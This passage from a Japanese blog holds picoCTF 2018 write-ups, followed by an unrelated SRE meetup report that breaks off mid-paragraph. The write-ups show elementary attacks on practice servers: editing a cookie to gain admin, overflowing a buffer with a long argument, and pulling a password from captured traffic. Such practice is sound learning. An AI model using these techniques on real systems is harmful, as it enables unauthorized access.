 3d37 29f2 eb9c 0abc ea24 695a 6415 9cb9 8c79 7f6f 4316 e8af 11b9 b8a1 0607 0fe9 a69e 8ed8 6bc9 db2e 10de 4ca9 4a8d f5a9 37bf
~~(略)~~
Looking through the text above, I think I have found the password. I am just having trouble with a username.
Oh drats! They are onto us! We could get kicked out soon!
Quick! Print the username to the screen so we can close are backdoor and log into the account directly!
You have to find another way other than echo!

ブワーッと意味不明な文字列が出力されたあと、次の司令が。自分のusernameを入れればいいが、echoは使えないとのこと。ならばusernameを返してくれるコマンドを入れてみる。

~/executables$ whoami
l33th4x0r
Perfect! One second!
Okay, I think I have got what we are looking for. I just need to to copy the file to a place we can read.
Try copying the file called TopSecret in tmp directory into the passwords folder.

コピーコマンドを使えば良いっぽい。

$ cp /tmp/TopSecret ../passwords/
Server shutdown in 10 seconds...
Quick! go read the file before we lose our connection!

まじか!10秒しか無いのか!と焦りつつコピーしたファイルを開く。

$ cat ../passwords/TopSecret
Major General John M. Schofield's graduation address to the graduating class of 1879 at West Point is as follows: The discipline which makes the soldiers of a free country reliable in battle is not to be gained by harsh or tyrannical treatment.On the contrary, such treatment is far more likely to destroy than to make an army.It is possible to impart instruction and give commands in such a manner and such a tone of voice as to inspire in the soldier no feeling butan intense desire to obey, while the opposite manner and tone of voice cannot fail to excite strong resentment and a desire to disobey.The one mode or other of dealing with subordinates springs from a corresponding spirit in the breast of the commander.He who feels the respect which is due to others, cannot fail to inspire in them respect for himself, while he who feels,and hence manifests disrespect towards others, especially his subordinates, cannot fail to inspire hatred against himself.
picoCTF{CrUsHeD_It_17ab99f5}

英文の理解が一番難しかった…。時間内には終わらなかったので何度かチャレンジ。

[Web] Client Side is Still Bad (150pt)

I forgot my password again, but this time there doesn't seem to be a reset, can you help me? http://2018shell.picoctf.com:55790 (link)

ソース見たらめっちゃ書いてあった。

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == 'd366') {
        if (checkpass.substring(split*5, split*6) == 'd_3b') {
         if (checkpass.substring(split*4, split*5) == 's_ba') {
          if (checkpass.substring(split*3, split*4) == 'nt_i') {
            if (checkpass.substring(split*2, split*3) == 'clie') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }
</script>

flag: picoCTF{client_is_bad_3bd366}

最近認証の判定ロジックが配布する方のjsに書いてあって話題になっていましたが、それのひどいやつですね。

[Forensics] Desrouleaux (150pt)

Our network administrator is having some trouble handling the tickets for all of of our incidents. Can you help him out by answering all the questions? Connect with nc 2018shell.picoctf.com 40952. incidents.json

incidents.json に書かれた内容を集計したりするだけ。

$ nc 2018shell.picoctf.com 40952
You'll need to consult the file `incidents.json` to answer the following questions.


What is the most common source IP address? If there is more than one IP address that is the most common, you may give any of the most common ones.
138.77.123.109
Correct!


How many unique destination IP addresses were targeted by the source IP address 138.77.123.109?
3
Correct!


What is the number of unique destination ips a file is sent, on average? Needs to be correct to 2 decimal places.
1.25
Correct!


Great job. You've earned the flag: picoCTF{J4y_s0n_d3rUUUULo_b6cacd6c}

[Web] Logon (150pt)

I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the flag. http://2018shell.picoctf.com:5477 (link)

SQL injection を疑って admin' -- をuserに入れてみたが、こんなページが。

f:id:kusuwada:20190219081442p:plain

どうやら SQL injection に引っかかったわけではなく、単に "admin" 意外のuserを入れるとこうなるらしい。admin 意外はpasswordはチェックしていません、と。

もう少しサイトの状態を見てみると、ログインに成功・失敗したときにcookieに保存されているのがわかる。このとき、admin フィールドがFalseになっているので、これをTrueに書き換えてリロードするとflagが出現。

f:id:kusuwada:20190219081511p:plain

picoCTF{l0g1ns_ar3nt_r34l_aaaaa17a}

[Forengics] Reading Between the Eyes (150pt)

Stego-Saurus hid a message for you in this image, can you retreive it?

おや!ステゴザウルスと言っているけど、これはステガノ?来た?
そして落としたimageはステゴザウルスではなく犬。ハスキー犬。
タイトルが Reading Between the Eyes なので、犬の目の間に何かがあるのか?

Exifをざっと確認しても特に何もなさそうだったので、Hintを確認。

Maybe you can find an online decoder?

うん?decoder?ちょっと調べてみるとこんなサイトが!

Steganography Online

ここで該当のイメージをアップして decode したら、flagが出てきました。
ちょっと納得行かない気もするけどまぁよし。ステガノはあまり追ってもしょうがない気がする。サイトだけ覚えておこう。

[Forengics] Recovering From the Snap (150pt)

There used to be a bunch of animals here, what did Dr. Xernon do to them?

とりあえずなんかこの落ちてきたファイル、fileコマンドで見てもようわからんかったので

$ file animals.dd 
animals.dd: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, root entries 512, sectors 20480 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 20, sectors/track 32, heads 64, serial number 0x9b664dde, unlabeled, FAT (16 bit)

foremost を mac に入れて分解させてみた。

$ foremost animals.dd 
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: animals.dd
|*|

そしたら沢山jpeg画像が掘り出されて、その中の一つにflagが書いてありましたとさ。

$ ls
00000077.jpg    00002277.jpg    00003541.jpg    00005093.jpg
00001313.jpg    00003041.jpg    00004173.jpg    00005861.jpg

f:id:kusuwada:20190219081613j:plain

picoCTF{th3_5n4p_happ3n3d}

[Forengics] admin panel (150pt)

We captured some traffic logging into the admin panel, can you find the password?

リンク先から、data.pcap がDLできます。

wiresharkで開きます。packetの通信が全部で78行なので、すべての通信を見ていれば何かしら出てきそうですが、HTTP/1.0 200 OK のL74 の通信をちょっと見て これは書き出したほうが早そうだと思い、File > Export Objects > HTTP... で SaveAllします。いくつかファイルができているので、grepでフラグを探すもよし、adminワードで引っ掛けるもよし。
login(2) のファイルに

user=admin&password=picoCTF{n0ts3cur3_9feedfbc}

とありました。

[Reversing] assembly-0 (150pt)

What does asm0(0x2a,0x4f) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-0_3_b7d6c21be1cefd3e53335a66e7815307.

Source の部分がリンクになっていたので落とすと、下記内容のファイル。

intro_asm_rev.S

.intel_syntax noprefix
.bits 32
    
.global asm0

asm0:
    push    ebp
    mov ebp,esp
    mov eax,DWORD PTR [ebp+0x8]
    mov ebx,DWORD PTR [ebp+0xc]
    mov eax,ebx
    mov esp,ebp
    pop ebp 
    ret

これに asm0(0x2a,0x4f) を突っ込んだときの返却値を回答するみたいですね。flagの形式はpicoCTF{***} ではないみたいです。
さっっっぱりわからなかったところに、ちょうどkaitoさんの記事が出たので、これとトリコロールな猫さんのEBP,ESPの解説を読みながら解いてみました。

push ebp     # ebp(ベースポインタ)をmainが使用しているスタック領域の一番上に移動
mov ebp,esp  # esp(スタックポインタ)をebpに追従
mov eax,DWORD PTR [ebp+0x8]  # eax に 入力値 0x2a を代入
mov ebx,DWORD PTR [ebp+0xc]  # ebx に 入力値 0x4f を代入
mov eax,ebx  # eaxにebxの値(0x4f)を代入
mov esp,ebp  # ebpをespに追従
pop ebp      # ebpをmainに戻す
ret          # 戻り値はeax

ということで、答えは 0x4f。

[Binary] buffer overflow 0 (150pt)

Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_4_ab1efebbee9446039487c64b88d38631 on the shell server. Source.

donwloadした vuln ファイルも詳細を見てみます。

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1e24cdf757acbd04d095e531a40d044abed7e82, not stripped

Linux上か、picoCTFのshellで実行するべし。sourceもみてみます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  if (argc > 1) {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
    printf("This program takes 1 argument.\n");
  return 0;
}

flag.txtを読み出して flag 変数に格納。
※なので flag.txt がおいてある picoCTF のshellで実行する必要がある。ちなみに、picoCTF shell に置かれている flag.txt は当然ながら、permissionが許可されておらず直接はのぞけない。
sigsegv_handler 関数がcallされれば、flagの内容を吐き出してくれる。
その先(L35)で呼ばれているvuln関数が、実行引数の argv[1] を buf[16] で確保した領域にコピーしようとしているので、ここでオーバーフローさせれば、signalが発動、flagの中身が表示されます。
なので、長めの入力を与えればOK

$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_b49d36d2}

[Crypto] caesar cipher 1 (150pt)

This is one of the older ciphers in the books, can you decrypt the message? You can find the ciphertext in /problems/caesar-cipher-1_2_73ab1c3e92ea50396ad143ca48039b86 on the shell server.

ciphertextは picoCTF{payzgmuujurjigkygxiovnkxlcgihubb}
あれ、もうフラグの形じゃん、ということで一旦入れてみる。。。やっぱこのままじゃだめか。
タイトルが ceaser cipher なので、シーザー暗号なんでしょう。いつもならフラグフォーマットの picoCTF 部分で法則を発見するのですが、今回はカッコの中だけが暗号文っぽいのであまり情報がない…。

ということで、ずらす文字数はたかだか26通り、全部出してみて意味のある文字列になることを祈って、全通り出力してみる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

cipher = "payzgmuujurjigkygxiovnkxlcgihubb"
alphabet = list(string.ascii_lowercase)

def ceaser(shift, c):
    return alphabet[(alphabet.index(c) + shift) % 26]

for shift in range(26):
    plain = ""   
    for c in cipher:
        plain += ceaser(shift, c)
    print(plain)

実行結果

$ python solve.py 
payzgmuujurjigkygxiovnkxlcgihubb
qbzahnvvkvskjhlzhyjpwolymdhjivcc
rcabiowwlwtlkimaizkqxpmzneikjwdd
sdbcjpxxmxumljnbjalryqnaofjlkxee
tecdkqyynyvnmkockbmszrobpgkmlyff
ufdelrzzozwonlpdlcntaspcqhlnmzgg
vgefmsaapaxpomqemdoubtqdrimonahh
whfgntbbqbyqpnrfnepvcuresjnpobii
xighouccrczrqosgofqwdvsftkoqpcjj
yjhipvddsdasrpthpgrxewtgulprqdkk
zkijqweetebtsquiqhsyfxuhvmqsrell
aljkrxffufcutrvjritzgyviwnrtsfmm
bmklsyggvgdvuswksjuahzwjxosutgnn
cnlmtzhhwhewvtxltkvbiaxkyptvuhoo
domnuaiixifxwuymulwcjbylzquwvipp
epnovbjjyjgyxvznvmxdkczmarvxwjqq
fqopwckkzkhzywaownyeldanbswyxkrr
grpqxdllaliazxbpxozfmeboctxzylss
hsqryemmbmjbaycqypagnfcpduyazmtt
itrszfnncnkcbzdrzqbhogdqevzbanuu
justagoodoldcaesarcipherfwacbovv
kvtubhppepmedbftbsdjqifsgxbdcpww
lwuvciqqfqnfecguctekrjgthycedqxx
mxvwdjrrgrogfdhvduflskhuizdferyy
nywxeksshsphgeiwevgmtlivjaegfszz
ozxyflttitqihfjxfwhnumjwkbfhgtaa

これが一番それっぽいぞ。ということで、flagは picoCTF{justagoodoldcaesarcipherfwacbovv}

[General] environ (150pt)

Sometimes you have to configure environment variables before executing a program. Can you find the flag we've hidden in an environment variable on the shell server?

picoCTF shell serverのenvironmentにflagがあるっぽいので、shell serverで確認。

$ export
~~中略~~
declare -x FLAG="Finding the flag wont be that easy..."   
declare -x PICOCTF_FLAG="Nice try... Keep looking!" 
declare -x SECRET_FLAG="picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}"  
~~中略~~

他にもややこしいのがありましたが、flagの形式を満たしている3つめのが答え。

[Crypto] hertz (150pt)

Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with nc 2018shell.picoctf.com 43324.

指定のurlにアクセスしてみるとこんな文字列が。

$ nc 2018shell.picoctf.com 43324
-------------------------------------------------------------------------------
yhisgtlp rfgf kp zhng mats - pnwplklnlkhi_ykxrfgp_tgf_phaotwaf_wuxtuftmyk
-------------------------------------------------------------------------------
pltlfaz, xanvx wnyb vnaaksti ytvf mghv lrf pltkgrfte, wftgkis t whua hm
atlrfg hi urkyr t vkgghg tie t gtchg atz yghppfe. t zfaahu egfppkisshui,
niskgeafe, utp pnpltkife sfilaz wfrkie rkv hi lrf vkae vhgikis tkg. rf
rfae lrf whua tahml tie kilhife:

-kilghkwh te taltgf efk.

rtalfe, rf xffgfe ehui lrf etgb ukiekis pltkgp tie ytaafe hnl yhtgpfaz:

-yhvf nx, bkiyr! yhvf nx, zhn mftgmna qfpnkl!

phafviaz rf ytvf mhgutge tie vhnilfe lrf ghnie snigfpl. rf mtyfe twhnl
tie wafppfe sgtofaz lrgkyf lrf lhufg, lrf pngghniekis atie tie lrf
tutbkis vhniltkip. lrfi, ytlyrkis pksrl hm plfxrfi efetanp, rf wfil
lhutgep rkv tie vtef gtxke yghppfp ki lrf tkg, sngsakis ki rkp lrghtl
tie prtbkis rkp rfte. plfxrfi efetanp, ekpxaftpfe tie paffxz, aftife
rkp tgvp hi lrf lhx hm lrf pltkgytpf tie ahhbfe yhaeaz tl lrf prtbkis
sngsakis mtyf lrtl wafppfe rkv, fjnkif ki klp afislr, tie tl lrf aksrl
nilhipngfe rtkg, sgtkife tie rnfe akbf xtaf htb.

wnyb vnaaksti xffxfe ti kipltil niefg lrf vkgghg tie lrfi yhofgfe lrf
whua pvtglaz.

-wtyb lh wtggtybp! rf ptke plfgiaz.

rf teefe ki t xgftyrfgp lhif:

-mhg lrkp, h eftgaz wfahofe, kp lrf sfinkif yrgkplkif: whez tie phna
tie wahhe tie hnip. pahu vnpky, xaftpf. prnl zhng fzfp, sfilp. hif
vhvfil. t akllaf lghnwaf twhnl lrhpf urklf yhgxnpyafp. pkafiyf, taa.

rf xffgfe pkefutzp nx tie stof t ahis pahu urkplaf hm ytaa, lrfi xtnpfe
turkaf ki gtxl tllfilkhi, rkp fofi urklf lfflr sakplfikis rfgf tie lrfgf
uklr shae xhkilp. yrgzphplhvhp. luh plghis prgkaa urkplafp tipufgfe
lrghnsr lrf ytav.

-lrtibp, hae yrtx, rf ygkfe wgkpbaz. lrtl ukaa eh ikyfaz. puklyr hmm
lrf ynggfil, ukaa zhn?

rf pbkxxfe hmm lrf snigfpl tie ahhbfe sgtofaz tl rkp utlyrfg, stlrfgkis
twhnl rkp afsp lrf ahhpf mhaep hm rkp shui. lrf xanvx prtehufe mtyf tie
pnaafi hota qhua gfytaafe t xgfatlf, xtlghi hm tglp ki lrf vkeeaf tsfp.
t xaftptil pvkaf wghbf jnkflaz hofg rkp akxp.

長い。そして何もわからない。
が、単語の区切りがあったりするみたいなので、換字式暗号化なと当たりをつけて念力で解く。こういうのは好きだ。

まずは文字の出現頻度を計測してみる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string
import pprint

data = "pltlfaz, xanvx wnyb vnaaksti ytvf mghv lrf pltkgrfte, wftgkis t whua hm atlrfg hi urkyr t vkgghg tie t gtchg atz yghppfe. t zfaahu egfppkisshui, niskgeafe, utp pnpltkife sfilaz wfrkie rkv hi lrf vkae vhgikis tkg. rf rfae lrf whua tahml tie kilhife::: phafviaz rf ytvf mhgutge tie vhnilfe lrf ghnie snigfpl. rf mtyfe twhnl tie wafppfe sgtofaz lrgkyf lrf lhufg, lrf pngghniekis atie tie lrf tutbkis vhniltkip. lrfi, ytlyrkis pksrl hm plfxrfi efetanp, rf wfil lhutgep rkv tie vtef gtxke yghppfp ki lrf tkg, sngsakis ki rkp lrghtl tie prtbkis rkp rfte. plfxrfi efetanp, ekpxaftpfe tie paffxz, aftife rkp tgvp hi lrf lhx hm lrf pltkgytpf tie ahhbfe yhaeaz tl lrf prtbkis sngsakis mtyf lrtl wafppfe rkv, fjnkif ki klp afislr, tie tl lrf aksrl nilhipngfe rtkg, sgtkife tie rnfe akbf xtaf htb.::: rf pbkxxfe hmm lrf snigfpl tie ahhbfe sgtofaz tl rkp utlyrfg, stlrfgkis twhnl rkp afsp lrf ahhpf mhaep hm rkp shui. lrf xanvx prtehufe mtyf tie pnaafi hota qhua gfytaafe t xgfatlf, xtlghi hm tglp ki lrf vkeeaf tsfp. t xaftptil pvkaf wghbf jnkflaz hofg rkp akxp."

alphabet = list(string.ascii_lowercase)

def make_histgram(sentence):
    histgram = {}
    for a in alphabet:
        histgram[a] = 0
    for c in sentence:
        if c.isupper():
            histgram[c.lower()] += 1
        if c.islower():
            histgram[c] += 1
    pprint.pprint(sorted(histgram.items(), key=lambda x: x[1]))

make_histgram(data)

出力結果

$ python hertz.py 
[('d', 0),
 ('c', 1),
 ('q', 1),
 ('j', 2),
 ('o', 4),
 ('b', 10),
 ('z', 10),
 ('w', 11),
 ('m', 14),
 ('u', 14),
 ('y', 16),
 ('x', 17),
 ('v', 19),
 ('n', 25),
 ('s', 31),
 ('g', 45),
 ('h', 50),
 ('a', 53),
 ('k', 53),
 ('e', 55),
 ('p', 55),
 ('r', 55),
 ('l', 59),
 ('i', 63),
 ('t', 80),
 ('f', 97)]

頻度分析のこの表(wikipedia)) を参考に、当たりをつけて換算してみる。以下、作成した変換テーブル。変換後が大文字。
また、一文字単語に t があったので、こちらは A だと予想をつける。
更に、頻出する3文字の単語は THE のことが多いので、 lrf -> ``THE。

QVXZ

f -> E
t -> A
i -> N
l -> T
r -> H
p -> S
e -> D
k -> I
a -> L
h -> O
g -> R
s -> G
z -> Y
m -> F
v -> M
n -> U
u -> W
y -> C
w -> B
c -> Z
x -> P
b -> K
q -> J
o -> V

これを当てはめると、全文は以下のように。

-------------------------------------------------------------------------------
CONGRATS HERE IS YOUR FLAG - SUBSTITUTION_CIPHERS_ARE_SOLVABLE_BWPAWEAFCI
-------------------------------------------------------------------------------

STATELY, PLUMP BUCK MULLIGAN CAME FROM THE STAIRHEAD, BEARING A BOWL OF
LATHER ON WHICH A MIRROR AND A RAZOR LAY CROSSED. A YELLOW DRESSINGGOWN,
UNGIRDLED, WAS SUSTAINED GENTLY BEHIND HIM ON THE MILD MORNING AIR. HE
HELD THE BOWL ALOFT AND INTONED:

-INTROIBO AD ALTARE DEI.

HALTED, HE PEERED DOWN THE DARK WINDING STAIRS AND CALLED OUT COARSELY:

-COME UP, KINCH! COME UP, YOU FEARFUL JESUIT!

SOLEMNLY HE CAME FORWARD AND MOUNTED THE ROUND GUNREST. HE FACED ABOUT
AND BLESSED GRAVELY THRICE THE TOWER, THE SURROUNDING LAND AND THE
AWAKING MOUNTAINS. THEN, CATCHING SIGHT OF STEPHEN DEDALUS, HE BENT
TOWARDS HIM AND MADE RAPID CROSSES IN THE AIR, GURGLING IN HIS THROAT
AND SHAKING HIS HEAD. STEPHEN DEDALUS, DISPLEASED AND SLEEPY, LEANED
HIS ARMS ON THE TOP OF THE STAIRCASE AND LOOKED COLDLY AT THE SHAKING
GURGLING FACE THAT BLESSED HIM, EjUINE IN ITS LENGTH, AND AT THE LIGHT
UNTONSURED HAIR, GRAINED AND HUED LIKE PALE OAK.

BUCK MULLIGAN PEEPED AN INSTANT UNDER THE MIRROR AND THEN COVERED THE
BOWL SMARTLY.

-BACK TO BARRACKS! HE SAID STERNLY.

HE ADDED IN A PREACHERS TONE:

-FOR THIS, O DEARLY BELOVED, IS THE GENUINE CHRISTINE: BODY AND SOUL
AND BLOOD AND OUNS. SLOW MUSIC, PLEASE. SHUT YOUR EYES, GENTS. ONE
MOMENT. A LITTLE TROUBLE ABOUT THOSE WHITE CORPUSCLES. SILENCE, ALL.

HE PEERED SIDEWAYS UP AND GAVE A LONG SLOW WHISTLE OF CALL, THEN PAUSED
AWHILE IN RAPT ATTENTION, HIS EVEN WHITE TEETH GLISTENING HERE AND THERE
WITH GOLD POINTS. CHRYSOSTOMOS. TWO STRONG SHRILL WHISTLES ANSWERED
THROUGH THE CALM.

-THANKS, OLD CHAP, HE CRIED BRISKLY. THAT WILL DO NICELY. SWITCH OFF
THE CURRENT, WILL YOU?

HE SKIPPED OFF THE GUNREST AND LOOKED GRAVELY AT HIS WATCHER, GATHERING
ABOUT HIS LEGS THE LOOSE FOLDS OF HIS GOWN. THE PLUMP SHADOWED FACE AND
SULLEN OVAL JOWL RECALLED A PRELATE, PATRON OF ARTS IN THE MIDDLE AGES.
A PLEASANT SMILE BROKE jUIETLY OVER HIS LIPS.

ということで、最初の行のflag部分を小文字に変換すればOK

[Forengics] hex editor (150pt)

This cat has a secret to teach you. You can also find the file in /problems/hex-editor_4_0a7282b29fa47d68c3e2917a5a0d726b on the shell server.

cat のリンク部分から、ハロウィン仕様の黒猫ちゃんの画像が。詳細を確認してみる。

$ file hex_editor.jpg 
hex_editor.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 631x1024, frames 3

タイトルが hex editor なので、とりあえずバイナリエディタで開いてみる。
と、最終行にflagが。ちなみに、 strings コマンドでも良かった。

$ strings hex_editor.jpg
(~~中略~~)
Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_dF817ec5}"

[General] ssh-keyz (150pt)

As nice as it is to use our webshell, sometimes its helpful to connect directly to our machine. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner which will be displayed when you login remotely with ssh to with your username.

まずはlocal machineで鍵ペアの作成

$ ssh-keygen
Generating public/private rsa key pair.                                                                         
Enter file in which to save the key (/home/***/.ssh/id_rsa):                                              
 -> authorized_keys
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/***/.ssh/authorized_keys.
Your public key has been saved in /home/***/.ssh/authorized_keys.pub.

picoCTFの Web Shell で、指定のフォルダを作成&移動、上記で作成した公開鍵をコピペ。

$ mkdir ~/.ssh
$ cd ~/.ssh
$ vi authorized_keys.pub  # ここで中身の貼り付け

作ってみたは良いが、flagは何処?ということで問題文を読むと、どうやらsshでリモートログインしたときに表示されるとのこと。

$ ssh -i ~/.ssh/authorized_keys 2018shell4.picoctf.com
picoCTF{who_n33ds_p4ssw0rds_38dj21}

SRE Lounge #7 イベント参加レポート

もうだいぶ日が経ってしましたが、1/18(金)に SRE Loungeのイベントに参加してきました!すでに7回目の開催ですが、はじめて参加してきました。
SREチームを部署内で立ち上げてみて半年以上が過ぎ、これまでの活動のまとめ・自分の引き継ぎ(産休のため)・来期の計画/活動方針などを考えるタイミングだったので、他社の取り組みを聞いたり、SREs/SREに興味のある方と交流できたのはとても良かったです。

sre-lounge.connpass.com

個人の感想が多分に入ったレポートに仕上がってしまいました(ノ≧ڡ≦)

SRE Loungeとは

SRE Lounge は、UZABASE のSRE チームが中心となり、発足した勉強会です。 http://tech.uzabase.com/entry/2018/01/26/200021

もともとは、クローズドで少人数な勉強会運営をしておりましたが、より幅広く参加者を集い、SRE 同士で交流したいという想いから、2018/6 より、オープンに参加者を募集することとなりました。 SRE や、SRE にご興味をお持ちの方は、ぜひご参加ください。

Facebook グループや、Slackもあるそうです。

SRE的チーム開発Tipsやベストプラクティスっぽい何か

おぐま @ktykogm さん (メルカリ)

スライドは下記に公開されています。
ボリューム満点で駆け足の発表でしたが、全体的に自分のモヤッとしていることが言語化されていたり、なんとなく普段意識している点が盛り込まれていたりして、正に「首がもげる」ほど頷きながら聞いていました。スライドも公開されているので、今回じっくり振り返れてよかった。

speakerdeck.com

SREsとは?という話。

twitter.com

DevOpsとSREは対立するものではないし、そもそもDevOpsは文化・SREは技術手法であったり領域を指すので、DevOpsの思想に基づいたSRE活動というのは成り立つよなぁと、自分の過去エントリ思い出しながら聞いていたり。

DevOps文化の組織にSRE活動を導入した話 - 好奇心の足跡

それにしてもSREの守備範囲(領域)、広すぎ。

f:id:kusuwada:20190207123231p:plain

信頼性に関わることは、基本的に対応

とのことなので、必然的に守備範囲は広くなる。SREer、強そうな人が多そうな印象を受けるのは、守備範囲をかっちり決めず「どこでも行きまっせ!何でもやりまっせ!」的な人がリードしてることが多いからかなー、と推測したり。

それでも、一人で全方位を100%カバーするのは難しい。SREメンバーは得意分野がそれぞれある、多様性を持ったチームになるのが望ましい。

ここ悩ましいところで、なんとなくSREっての作ってみようか、今いるメンバーで!で始まると、Ops/インフラよりのメンバーばかり集まりがちだったり、ガバメント・セキュリティ・BI的な要素を持つメンバーは「なぜ私がSRE??」となかなか釣れなかったり。SREは守備範囲広い → 多様性が必要という今回の話は、なるほどな確かにそれそれ、それだわ!となった。SRE立ち上げてメンバー集めて自己流でやっていたけど、こういう集まりに来るとモヤッとしてて言語化できていない課題が納得行く言葉で表現されてて大変良かった。

twitter.com

戦略的SRE組織論の章。スタートアップや新規事業における、各ステージのSREの配属計画や、SREの立ち回りについて。

f:id:kusuwada:20190207123244p:plain

どのフェーズでどういうことに力を入れ、どういう活動をしていくべきか、という話。成長フェーズの「オンボーディング準備」の話が特に刺さったので呟いたけど、その他の話も非常に面白かった。詳細はスライドへ。
Document整備も本当に軽視されがち。上の人・マネージャーはこだわってる人も多いけど、実際にDocument書くのは一担当者だったりするわけで、得意な人もそうでない人もいる。そういう人が書くドキュメントを、どう価値あるものに、参照されるものにしていくのか。どういう内容で、どういう構成にすべきか、そして何よりどこに何があるかをどうやってわかりやすくするのか。この半年のSRE活動でかなり心がけてきた部分でもあったので、ここも首がもげるほど頷き。
ドキュメント作成時にRFCを参考にする(Must, Should, Must Not, Should Not をはっきりさせる)という話も面白かった。この辺しっかりしていないと「で、結局どうしたらいいん?」というドキュメントに仕上がっちゃうことも多い。

twitter.com

このフェーズでなぜ microserviceが必要なのか、という話もされており、納得。microserviceの採用にあたっては、会社の状態をよく考え慎重に、というお話も。

その他、最近話題のSOA(Service-oriented atchitecture)や、SREでも取り入れたほうが良い文化(アジャイル・リーダブルコーディング)、GitとReview/PullRequestについての話など。本当に盛り沢山だったし首がもげるかと思った。

Gunosy版「SREのミッション」策定

浜地 @aibou さん(Gunosy)

スライドは下記に公開されています。

speakerdeck.com

SREとSREsのお話。

  • SRE: 技術手法・領域
  • SREs: 職種・SREをしているエンジニア

と定義してお話をしますとのこと。このMeetupのいち日前くらいにちょうどSREとSREsについての話がTLに流れてきていて「ほほう」と思ったところだったのでタイムリーだった。

紹介されていた、ゆううきさんのブログ

2019年SRE考 - ゆううきブログ

以降では、SRE本の原著にならい、技術領域名を指すときはSRE、職種名を指すときにSREsと表記する。

twitter.com

「運用でカバー」警察は本当にいいなと思った。うちの組織だと、一応ポストモーテム的な会と、どうやって対応する(した)のかを報告する場はあるんだけど、聞く側はマネージャー陣しか基本いないので、技術がわかるマネージャーといえどなかなか運用観点でのレビューが漏れていそう。
年末年始に「ポストモーテム大会」と称して、SREメンバー+各チームのOps担当メンバーで2018年に発生した(しそうだった)障害と原因・対策を発表しあう場を設けたんだけど、もう少し頻度を高くして対策に対する議論の場にできたらなーと思ったとこだった。
障害対応報告の場でこれをできればもっと良さそう。他のチームの失敗に学ぶことも多いし、そこで新たに生まれてしまうところだったToilの防止だったり、新しい技術・サービスの導入にも繋がりそう。
と妄想しながら聞いていたら、暫く聞き逃した気がする。

twitter.com

発足時からここを懸念する声はうちでも多く、活動開始前に「ミッション・活動方針」を決めて大きな声で宣言していました。特にSREはアンテナの高い人が音頭を取りがちな気がするので、組織内の困ったこととか面倒なことがあったらすぐに丸投げされそうな予感。ただでさえ「困りごとの磁石」みたいなところにSREの看板がつくと「より強力な磁石」になって課題を引き寄せるイメージ。Google本にも「組織ごとに形は異なる」とあるので、SREという言葉に活動範囲の定義もない。

本当にやりたいこと・やるべきに注力するために、便利屋さんにならないために、「SREのミッション」策定は必須だなぁと感じた。

Gunosyさんでは、あくまで「SREの位置づけ」として定義したり、「事業」を大事にすることを一番にする(SRE都合のルールで社員を苦しめない)、など、ユーザーのみならず社員全体がハッピーになるように気をつけてこのポリシーを策定されたそう。

最後に、「人物としてのSREsの理想像」が大変良かったのでコピペ。SREに限らない気もするけど…。

  • 常に向上心を持つ
    • 現状に満足せず、自己の成長を常に心がける
  • 常に余裕を持つ
    • つまり「自動化していきましょうね」
    • 問題解決は「冷静」に行う必要がある
  • 社員に信頼されている
    • SREsは必然的に関わるチームが多い
  • 自社プロダクトを愛している
    • 自社プロダクトを使わないと課題が見えてこない

事業成長×キャリア形成という観点でのSREを立ち上げ

天野 @pataiji さん (Speee)

スライドは下記に公開されています。

speakerdeck.com

エンジニアリングマネージャー 兼 SREチームリーダーの方のお話。

twitter.com

リードエンジニアが圧倒的SPOF、あるある。このままの構造だとフットワークが重く攻めの開発ができないと感じていた。
ここからプロジェクト制を導入する組織変更を行うことで、各エンジニアの裁量が増え、事業成長につながる攻めの開発をやりやすくなった。
が、今度は各所で部分最適が進み、プロダクトの信頼性が落ちやすい状態になった
→SREチームの立ち上げ

という経緯が一つ、もう一つはキャリア形成という視点でのSRE立ち上げ。この視点は新しかったので面白かった。

今までのSpeeeエンジニアは、バックエンド・インフラ・フロントエンド → Web開発におけるほぼ全部のスキルが求められていた。が、それぞれのエンジニアの「インフラ/フロントを伸ばしたい!」というモチベーションに応えることができていなかった。採用としても、特定領域に強みを持った人の採用がやりづらかった。
